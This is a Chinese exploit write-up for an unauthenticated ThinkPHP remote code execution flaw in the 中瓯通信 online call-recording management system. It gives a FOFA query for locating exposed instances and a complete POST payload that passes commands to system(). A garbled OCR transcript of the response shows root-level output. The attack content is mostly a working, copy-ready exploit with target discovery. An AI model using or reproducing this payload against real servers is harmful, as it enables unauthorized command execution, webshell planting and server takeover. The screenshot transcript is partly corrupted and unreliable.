S26-1申瓯通信-在线录音管理系统-RCE

漏洞描述:

中瓯通信 在线录音管理系统 存在Thinkphp 远程代码执行漏洞,未经身份验证的远程攻击者可以利用此漏洞执行任意指令或写入webshell,导致服务器权限被控,造成严重威胁。

网站图片:



fofa语法:

title="在线录音管理系统"

漏洞复现:

payload:

POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1

POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3; q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh; q=0.9
Connection: close

Content-Type: application/x-www-form-urlencoded

s=id&_method=__construct&method=POST&filter[]=system

效果图:

```
数据包扫描 美化 热加载 构造请求
                                                                                                                                                                                Responses 39bytes / 138ms
                                                                                                                                                                                                                                                               美化 渲染
Request
        POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1
                                                                                                                                                                                           HTTP/1.1.302 Found
                                                                                                                                                                                           HTTP/1.1:302-Found
X-Powered By: PHP/5.6.40
Content-Type: text/html; charset=utf-8
Cache-control: no-cache,must-revalidate
Location: close
Date: Fri, 21:Jun:2024:01:35:37-GMT
Server: !Ighttpd/1.4.52
Content-Length: 39
          Host::
User-Agent: Mozilla/5.0 (Windows·NT·10.0; Win64; ·x64) AppleWebKit/537.36 (KHTML, ·like·Gecko) ·Chrome/
124.0.0.0 ·Safari/537.36
         124.0.0 % Sarar1/537.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzlp, deflate
Accept-Encoding: zh-CN,zh;q=0.9
Connection: close
          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                           uid=0(root) gid=0(root) groups=0(root)
          s=id&_method=__construct&method=POST&filter[]=system
```